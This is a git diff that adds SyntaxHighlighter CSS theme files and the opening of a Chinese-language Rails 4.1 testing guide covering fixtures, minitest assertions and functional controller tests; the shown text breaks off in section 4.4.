!important; +} +.syntaxhighlighter .preprocessor { + color: #435a5f !important; +} +.syntaxhighlighter .variable { + color: #898989 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #aaaaaa !important; +} +.syntaxhighlighter .constants { + color: #96daff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #d01d33 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #ffc074 !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #4a8cdb !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #96daff !important; +} + +.syntaxhighlighter .functions { + font-weight: bold !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeMDUltra.css b/v4.1/stylesheets/syntaxhighlighter/shThemeMDUltra.css new file mode 100755 index 0000000..f4db39c --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeMDUltra.css @@ -0,0 +1,113 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: #222222 !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #222222 !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #222222 !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #253e5a !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: lime !important; +} +.syntaxhighlighter .gutter { + color: #38566f !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #435a5f !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #435a5f !important; + color: #222222 !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #428bdd !important; + background: black !important; + border: 1px solid #435a5f !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #428bdd !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: lime !important; +} +.syntaxhighlighter .toolbar { + color: #aaaaff !important; + background: #435a5f !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #aaaaff !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #9ccff4 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: lime !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #428bdd !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: lime !important; +} +.syntaxhighlighter .keyword { + color: #aaaaff !important; +} +.syntaxhighlighter .preprocessor { + color: #8aa6c1 !important; +} +.syntaxhighlighter .variable { + color: aqua !important; +} +.syntaxhighlighter .value { + color: #f7e741 !important; +} +.syntaxhighlighter .functions { + color: #ff8000 !important; +} +.syntaxhighlighter .constants { + color: yellow !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #aaaaff !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: red !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: yellow !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #ffaa3e !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeMidnight.css b/v4.1/stylesheets/syntaxhighlighter/shThemeMidnight.css new file mode 100644 index 0000000..c49563c --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeMidnight.css @@ -0,0 +1,113 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: #0f192a !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #0f192a !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #0f192a !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #253e5a !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #38566f !important; +} +.syntaxhighlighter table caption { + color: #d1edff !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #435a5f !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #435a5f !important; + color: #0f192a !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #428bdd !important; + background: black !important; + border: 1px solid #435a5f !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #428bdd !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #1dc116 !important; +} +.syntaxhighlighter .toolbar { + color: #d1edff !important; + background: #435a5f !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #d1edff !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #8aa6c1 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #d1edff !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #428bdd !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #1dc116 !important; +} +.syntaxhighlighter .keyword { + color: #b43d3d !important; +} +.syntaxhighlighter .preprocessor { + color: #8aa6c1 !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #f7e741 !important; +} +.syntaxhighlighter .functions { + color: #ffaa3e !important; +} +.syntaxhighlighter .constants { + color: #e0e8ff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #b43d3d !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #f8bb00 !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: white !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #ffaa3e !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeRDark.css b/v4.1/stylesheets/syntaxhighlighter/shThemeRDark.css new file mode 100644 index 0000000..6305a10 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeRDark.css @@ -0,0 +1,113 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: #1b2426 !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #1b2426 !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #1b2426 !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #323e41 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #b9bdb6 !important; +} +.syntaxhighlighter table caption { + color: #b9bdb6 !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #435a5f !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #435a5f !important; + color: #1b2426 !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #5ba1cf !important; + background: black !important; + border: 1px solid #435a5f !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #5ba1cf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #5ce638 !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #435a5f !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #e0e8ff !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #b9bdb6 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #878a85 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #5ce638 !important; +} +.syntaxhighlighter .keyword { + color: #5ba1cf !important; +} +.syntaxhighlighter .preprocessor { + color: #435a5f !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ffaa3e !important; +} +.syntaxhighlighter .constants { + color: #e0e8ff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #5ba1cf !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #e0e8ff !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: white !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #ffaa3e !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/v4.1/stylesheets/syntaxhighlighter/shThemeRailsGuides.css new file mode 100644 index 0000000..6d2edb2 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeRailsGuides.css @@ -0,0 +1,116 @@ +/** + * Theme by fxn, took shThemeEclipse.css as starting point. + */ +.syntaxhighlighter { + background-color: #eee !important; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important; + overflow-y: hidden !important; + overflow-x: auto !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #eee !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #eee !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #c3defe !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #eee !important; +} +.syntaxhighlighter table caption { + color: #222 !important; +} +.syntaxhighlighter .gutter { + color: #787878 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #d4d0c8 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #d4d0c8 !important; + color: #eee !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3f5fbf !important; + background: #eee !important; + border: 1px solid #d4d0c8 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3f5fbf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #aa7700 !important; +} +.syntaxhighlighter .toolbar { + color: #a0a0a0 !important; + background: #d4d0c8 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #a0a0a0 !important; +} +.syntaxhighlighter .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #222 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #708090 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + font-style: italic !important; + color: #6588A8 !important; +} +.syntaxhighlighter .keyword { + color: #64434d !important; +} +.syntaxhighlighter .preprocessor { + color: #646464 !important; +} +.syntaxhighlighter .variable { + color: #222 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + color: #222 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #222 !important; + font-weight: bold !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .xml .keyword { + color: #64434d !important; + font-weight: normal !important; +} +.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a { + color: #7f007f !important; +} +.syntaxhighlighter .xml .string { + font-style: italic !important; + color: #6588A8 !important; +} diff --git a/v4.1/testing.html b/v4.1/testing.html new file mode 100644 index 0000000..67e4aa0 --- /dev/null +++ b/v4.1/testing.html @@ -0,0 +1,1307 @@ + + + + + + + +Rails 程序测试指南 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ + + +
+
+
+

1 为什么要为 Rails 程序编写测试?

在 Rails 中编写测试非常简单,生成模型和控制器时,已经生成了测试代码骨架。

即便是大范围重构后,只需运行测试就能确保实现了所需功能。

Rails 中的测试还可以模拟浏览器请求,无需打开浏览器就能测试程序的响应。

2 测试简介

测试是 Rails 程序的重要组成部分,不是处于尝鲜和好奇才编写测试。基本上每个 Rails 程序都要频繁和数据库交互,所以测试时也要和数据库交互。为了能够编写高效率的测试,必须要了解如何设置数据库以及导入示例数据。

2.1 测试环境

默认情况下,Rails 程序有三个环境:开发环境,测试环境和生产环境。每个环境所需的数据库在 config/database.yml 文件中设置。

测试使用的数据库独立于其他环境,不会影响开发环境和生产环境的数据库。

2.2 Rails Sets up for Testing from the Word Go

执行 rails new 命令生成新程序时,Rails 会创建一个名为 test 的文件夹。这个文件夹中的内容如下:

+
+$ ls -F test
+controllers/    helpers/        mailers/        test_helper.rb
+fixtures/       integration/    models/
+
+
+
+

modles 文件夹存放模型测试,controllers 文件夹存放控制器测试,integration 文件夹存放多个控制器之间交互的测试。

fixtures 文件夹中存放固件。固件是一种组织测试数据的方式。

test_helper.rb 文件中保存测试的默认设置。

2.3 固件详解

好的测试应该应该具有提供测试数据的方式。在 Rails 中,测试数据由固件提供。

2.3.1 固件是什么?

固件代指示例数据,在运行测试之前,把预先定义好的数据导入测试数据库。固件相互独立,一个文件对应一个模型,使用 YAML 格式编写。

固件保存在文件夹 test/fixtures 中,执行 rails generate model 命令生成新模型时,会在这个文件夹中自动创建一个固件文件。

2.3.2 YAML

使用 YAML 格式编写的固件可读性极高,文件的扩展名是 .yml,例如 users.yml

下面举个例子:

+
+# lo & behold! I am a YAML comment!
+david:
+  name: David Heinemeier Hansson
+  birthday: 1979-10-15
+  profession: Systems development
+
+steve:
+  name: Steve Ross Kellock
+  birthday: 1974-09-27
+  profession: guy with keyboard
+
+
+
+

每个附件都有名字,后面跟着一个缩进后的键值对列表。记录之间往往使用空行分开。在固件中可以使用注释,在行首加上 # 符号即可。如果键名使用了 YAML 中的关键字,必须使用引号,例如 'yes''no',这样 YAML 解析程序才能正确解析。

如果涉及到关联,定义一个指向其他固件的引用即可。例如,下面的固件针对 belongs_to/has_many 关联:

+
+# In fixtures/categories.yml
+about:
+  name: About
+
+# In fixtures/articles.yml
+one:
+  title: Welcome to Rails!
+  body: Hello world!
+  category: about
+
+
+
+
2.3.3 使用 ERB 增强固件

ERB 允许在模板中嵌入 Ruby 代码。Rails 加载 YAML 格式的固件时,会先使用 ERB 进行预处理,因此可使用 Ruby 代码协助生成示例数据。例如,下面的代码会生成一千个用户:

+
+<% 1000.times do |n| %>
+user_<%= n %>:
+  username: <%= "user#{n}" %>
+  email: <%= "user#{n}@example.com" %>
+<% end %>
+
+
+
+
2.3.4 固件实战

默认情况下,运行模型测试和控制器测试时会自动加载 test/fixtures 文件夹中的所有固件。加载的过程分为三步:

+
    +
  • 从数据表中删除所有和固件对应的数据;
  • +
  • 把固件载入数据表;
  • +
  • 把固件中的数据赋值给变量,以便直接访问;
  • +
+
2.3.5 固件是 Active Record 对象

固件是 Active Record 实例,如前一节的第 3 点所述,在测试用例中可以直接访问这个对象,因为固件中的数据会赋值给一个本地变量。例如:

+
+# this will return the User object for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+# one can also access methods available on the User class
+email(david.girlfriend.email, david.location_tonight)
+
+
+
+

3 为模型编写单元测试

在 Rails 中,单元测试用来测试模型。

本文会使用 Rails 脚手架生成模型、迁移、控制器、视图和遵守 Rails 最佳实践的完整测试组件。我们会使用自动生成的代码,也会按需添加其他代码。

关于 Rails 脚手架的详细介绍,请阅读“Rails 入门”一文。

执行 rails generate scaffold 命令生成资源时,也会在 test/models 文件夹中生成单元测试文件:

+
+$ rails generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/models/post_test.rb
+create  test/fixtures/posts.yml
+...
+
+
+
+

test/models/post_test.rb 文件中默认的测试代码如下:

+
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+
+
+
+

下面逐行分析这段代码,熟悉 Rails 测试的代码和相关术语。

+
+require 'test_helper'
+
+
+
+

现在你已经知道,test_helper.rb 文件是测试的默认设置,会载入所有测试,因此在所有测试中都可使用其中定义的方法。

+
+class PostTest < ActiveSupport::TestCase
+
+
+
+

PostTest 继承自 ActiveSupport::TestCase,定义了一个测试用例,因此可以使用 ActiveSupport::TestCase 中的所有方法。后文会介绍其中一些方法。

MiniTest::Unit::TestCaseActiveSupport::TestCase 的父类)子类中每个以 test 开头(区分大小写)的方法都是一个测试,所以,test_passwordtest_valid_passwordtestValidPassword 都是合法的测试名,运行测试用例时会自动运行这些测试。

Rails 还提供了 test 方法,接受一个测试名作为参数,然后跟着一个代码块。test 方法会生成一个 MiniTest::Unit 测试,方法名以 test_ 开头。例如:

+
+test "the truth" do
+  assert true
+end
+
+
+
+

和下面的代码是等效的

+
+def test_the_truth
+  assert true
+end
+
+
+
+

不过前者的测试名可读性更高。当然,使用方法定义的方式也没什么问题。

生成的方法名会把空格替换成下划线。最终得到的结果可以不是合法的 Ruby 标示符,名字中可以包含标点符号等。因为在 Ruby 中,任何字符串都可以作为方法名,奇怪的方法名需要调用 define_methodsend 方法,所以没有限制。

+
+assert true
+
+
+
+

这行代码叫做“断言”(assertion)。断言只有一行代码,把指定对象或表达式和期望的结果进行对比。例如,断言可以检查:

+
    +
  • 两个值是够相等;
  • +
  • 对象是否为 nil
  • +
  • 这行代码是否抛出异常;
  • +
  • 用户的密码长度是否超过 5 个字符;
  • +
+

每个测试中都有一个到多个断言。只有所有断言都返回真值,测试才能通过。

3.1 维护测试数据库的模式

为了能运行测试,测试数据库要有程序当前的数据库结构。测试帮助方法会检查测试数据库中是否有尚未运行的迁移。如果有,会尝试把 db/schema.rbdb/structure.sql 载入数据库。之后如果迁移仍处于待运行状态,会抛出异常。

3.2 运行测试

运行测试执行 rake test 命令即可,在这个命令中还要指定要运行的测试文件。

+
+$ rake test test/models/post_test.rb
+.
+
+Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

上述命令会运行指定文件中的所有测试方法。注意,test_helper.rbtest 文件夹中,因此这个文件夹要使用 -I 旗标添加到加载路径中。

还可以指定测试方法名,只运行相应的测试。

+
+$ rake test test/models/post_test.rb test_the_truth
+.
+
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

上述代码中的点号(.)表示一个通过的测试。如果测试失败,会看到一个 F。如果测试抛出异常,会看到一个 E。输出的最后一行是测试总结。

要想查看失败测试的输出,可以在 post_test.rb 中添加一个失败测试。

+
+test "should not save post without title" do
+  post = Post.new
+  assert_not post.save
+end
+
+
+
+

我们来运行新添加的测试:

+
+$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+F
+
+Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Failed assertion, no message given.
+
+1 tests, 1 assertions, 1 failures, 0 errors, 0 skips
+
+
+
+

在输出中,F 表示失败测试。你会看到相应的调用栈和测试名。随后还会显示断言实际得到的值和期望得到的值。默认的断言消息提供了足够的信息,可以帮助你找到错误所在。要想让断言失败的消息更具可读性,可以使用断言可选的消息参数,例如:

+
+test "should not save post without title" do
+  post = Post.new
+  assert_not post.save, "Saved the post without a title"
+end
+
+
+
+

运行这个测试后,会显示一个更友好的断言失败消息:

+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Saved the post without a title
+
+
+
+

如果想让这个测试通过,可以在模型中为 title 字段添加一个数据验证:

+
+class Post < ActiveRecord::Base
+  validates :title, presence: true
+end
+
+
+
+

现在测试应该可以通过了,再次运行这个测试来验证一下:

+
+$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+.
+
+Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

你可能注意到了,我们首先编写一个检测所需功能的测试,这个测试会失败,然后编写代码,实现所需功能,最后再运行测试,确保测试可以通过。这一过程,在软件开发中称为“测试驱动开发”(Test-Driven Development,TDD)。

很多 Rails 开发者都会使用 TDD,这种开发方式可以确保程序的每个功能都能正确运行。本文不会详细介绍 TDD,如果想学习,可以从 15 TDD steps to create a Rails application 这篇文章开始。

要想查看错误的输出,可以在测试中加入一处错误:

+
+test "should report error" do
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+
+
+
+

运行测试,很看到以下输出:

+
+$ rake test test/models/post_test.rb test_should_report_error
+E
+
+Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x007fe32e24afe0>
+    test/models/post_test.rb:10:in `block in <class:PostTest>'
+
+1 tests, 0 assertions, 0 failures, 1 errors, 0 skips
+
+
+
+

注意上面输出中的 E,表示测试出错了。

如果测试方法出现错误或者断言检测失败就会终止运行,继续运行测试组件中的下个方法。测试按照字母顺序运行。

测试失败后会看到相应的调用栈。默认情况下,Rails 会过滤调用栈,只显示和程序有关的调用栈。这样可以减少输出的内容,集中精力关注程序的代码。如果想查看完整的调用栈,可以设置 BACKTRACE 环境变量:

+
+$ BACKTRACE=1 rake test test/models/post_test.rb
+
+
+
+

3.3 单元测试要测试什么

理论上,应该测试一切可能出问题的功能。实际使用时,建议至少为每个数据验证编写一个测试,至少为模型中的每个方法编写一个测试。

3.4 可用的断言

读到这,详细你已经大概知道一些断言了。断言是测试的核心,是真正用来检查功能是否符合预期的工具。

断言有很多种,下面列出了可在 Rails 默认测试库 minitest 中使用的断言。方法中的 [msg] 是可选参数,指定测试失败时显示的友好消息。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
断言作用
assert( test, [msg] )确保 test 是真值
assert_not( test, [msg] )确保 test 是假值
assert_equal( expected, actual, [msg] )确保 expected == actual 返回 true +
assert_not_equal( expected, actual, [msg] )确保 expected != actual 返回 true +
assert_same( expected, actual, [msg] )确保 expected.equal?(actual) 返回 true +
assert_not_same( expected, actual, [msg] )确保 expected.equal?(actual) 返回 false +
assert_nil( obj, [msg] )确保 obj.nil? 返回 true +
assert_not_nil( obj, [msg] )确保 obj.nil? 返回 false +
assert_match( regexp, string, [msg] )确保字符串匹配正则表达式
assert_no_match( regexp, string, [msg] )确保字符串不匹配正则表达式
assert_in_delta( expecting, actual, [delta], [msg] )确保数字 expectedactual 之差在 delta 指定的范围内
assert_not_in_delta( expecting, actual, [delta], [msg] )确保数字 expectedactual 之差不在 delta 指定的范围内
assert_throws( symbol, [msg] ) { block }确保指定的代码块会抛出一个 Symbol
assert_raises( exception1, exception2, ... ) { block }确保指定的代码块会抛出其中一个异常
assert_nothing_raised( exception1, exception2, ... ) { block }确保指定的代码块不会抛出其中一个异常
assert_instance_of( class, obj, [msg] )确保 objclass 的实例
assert_not_instance_of( class, obj, [msg] )确保 obj 不是 class 的实例
assert_kind_of( class, obj, [msg] )确保 objclass 或其子类的实例
assert_not_kind_of( class, obj, [msg] )确保 obj 不是 class 或其子类的实例
assert_respond_to( obj, symbol, [msg] )确保 obj 可以响应 symbol +
assert_not_respond_to( obj, symbol, [msg] )确保 obj 不可以响应 symbol +
assert_operator( obj1, operator, [obj2], [msg] )确保 obj1.operator(obj2) 返回真值
assert_not_operator( obj1, operator, [obj2], [msg] )确保 obj1.operator(obj2) 返回假值
assert_send( array, [msg] )确保在 array[0] 指定的方法上调用 array[1] 指定的方法,并且把 array[2] 及以后的元素作为参数传入,该方法会返回真值。这个方法很奇特吧?
flunk( [msg] )确保测试会失败,用来标记测试还没编写完
+

Rails 使用的测试框架完全模块化,因此可以自己编写新的断言。Rails 本身就是这么做的,提供了很多专门的断言,可以简化测试。

自己编写断言属于进阶话题,本文不会介绍。

3.5 Rails 提供的断言

Rails 为 test/unit 框架添加了很多自定义的断言: +Rails adds some custom assertions of its own to the test/unit framework:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
断言作用
assert_difference(expressions, difference = 1, message = nil) {...}测试 expressions 的返回数值和代码块的返回数值相差是否为 difference +
assert_no_difference(expressions, message = nil, &amp;block)测试 expressions 的返回数值和代码块的返回数值相差是否不为 difference +
assert_recognizes(expected_options, path, extras={}, message=nil)测试 path 指定的路由是否正确处理,以及 expected_options 指定的参数是够由 path 处理。也就是说 Rails 是否能识别 expected_options 指定的路由
assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)测试指定的 options 能否生成 expected_path 指定的路径。这个断言是 assert_recognizes 的逆测试。extras 指定额外的请求参数。message 指定断言失败时显示的错误消息。
assert_response(type, message = nil)测试响应是否返回指定的状态码。可用 :success 表示 200-299,:redirect 表示 300-399,:missing 表示 404,:error 表示 500-599。状态码可用具体的数字表示,也可用相应的符号表示。详细信息参见完整的状态码列表,以及状态码数字和符号的对应关系
assert_redirected_to(options = {}, message=nil)测试 options 是否匹配所执行动作的转向设定。这个断言可以匹配局部转向,所以 assert_redirected_to(controller: "weblog") 可以匹配转向到 redirect_to(controller: "weblog", action: "show") 等。还可以传入具名路由,例如 assert_redirected_to root_path,以及 Active Record 对象,例如 assert_redirected_to @article
assert_template(expected = nil, message=nil)测试请求是否由指定的模板文件渲染
+

下一节会介绍部分断言的用法。

4 为控制器编写功能测试

在 Rails 中,测试控制器各动作需要编写功能测试。控制器负责处理程序接收的请求,然后使用视图渲染响应。

4.1 功能测试要测试什么

应该测试一下内容:

+
    +
  • 请求是否成功;
  • +
  • 是否转向了正确的页面;
  • +
  • 用户是否通过了身份认证;
  • +
  • 是否把正确的对象传给了渲染响应的模板;
  • +
  • 是否在视图中显示了相应的消息;
  • +
+

前面我们已经使用 Rails 脚手架生成了 Post 资源,在生成的文件中包含了控制器和测试。你可以看一下 test/controllers 文件夹中的 posts_controller_test.rb 文件。

我们来看一下这个文件中的测试,首先是 test_should_get_index

+
+class PostsControllerTest < ActionController::TestCase
+  test "should get index" do
+    get :index
+    assert_response :success
+    assert_not_nil assigns(:posts)
+  end
+end
+
+
+
+

test_should_get_index 测试中,Rails 模拟了一个发给 index 动作的请求,确保请求成功,而且赋值了一个合法的 posts 实例变量。

get 方法会发起请求,并把结果传入响应中。可接受 4 个参数:

+
    +
  • 所请求控制器的动作,可使用字符串或 Symbol;
  • +
  • 可选的 Hash,指定传入动作的请求参数(例如,请求字符串参数或表单提交的参数);
  • +
  • 可选的 Hash,指定随请求一起传入的会话变量;
  • +
  • 可选的 Hash,指定 Flash 消息的值;
  • +
+

举个例子,请求 :show 动作,请求参数为 'id' => "12",会话参数为 'user_id' => 5

+
+get(:show, {'id' => "12"}, {'user_id' => 5})
+
+
+
+

再举个例子:请求 :view 动作,请求参数为 'id' => '12',这次没有会话参数,但指定了 Flash 消息:

+
+get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+
+
+
+

如果现在运行 posts_controller_test.rb 文件中的 test_should_create_post 测试会失败,因为前文在模型中添加了数据验证。

我们来修改 posts_controller_test.rb 文件中的 test_should_create_post 测试,让所有测试都通过:

+
+test "should create post" do
+  assert_difference('Post.count') do
+    post :create, post: {title: 'Some title'}
+  end
+
+  assert_redirected_to post_path(assigns(:post))
+end
+
+
+
+

现在你可以运行所有测试,都应该通过。

4.2 功能测试中可用的请求类型

如果熟悉 HTTP 协议就会知道,get 是请求的一种类型。在 Rails 功能测试中可以使用 6 种请求:

+
    +
  • get
  • +
  • post
  • +
  • patch
  • +
  • put
  • +
  • head
  • +
  • delete
  • +
+

这几种请求都可作为方法调用,不过前两种最常用。

功能测试不检测动作是否能接受指定类型的请求。如果发起了动作无法接受的请求类型,测试会直接退出。

4.3 可用的四个 Hash

使用上述 6 种请求之一发起请求并经由控制器处理后,会产生 4 个 Hash 供使用:

+
    +
  • +assigns:动作中创建在视图中使用的实例变量;
  • +
  • +cookies:设置的 cookie;
  • +
  • +flash:Flash 消息中的对象;
  • +
  • +session:会话中的对象;
  • +
+

和普通的 Hash 对象一样,可以使用字符串形式的键获取相应的值。除了 assigns 之外,另外三个 Hash 还可使用 Symbol 形式的键。例如:

+
+flash["gordon"]               flash[:gordon]
+session["shmession"]          session[:shmession]
+cookies["are_good_for_u"]     cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+assigns["something"]          assigns(:something)
+
+
+
+

4.4 可用的实例变量

在功能测试中还可以使用下面三个实例变量:

+
    +
  • +@controller:处理请求的控制器;
  • +
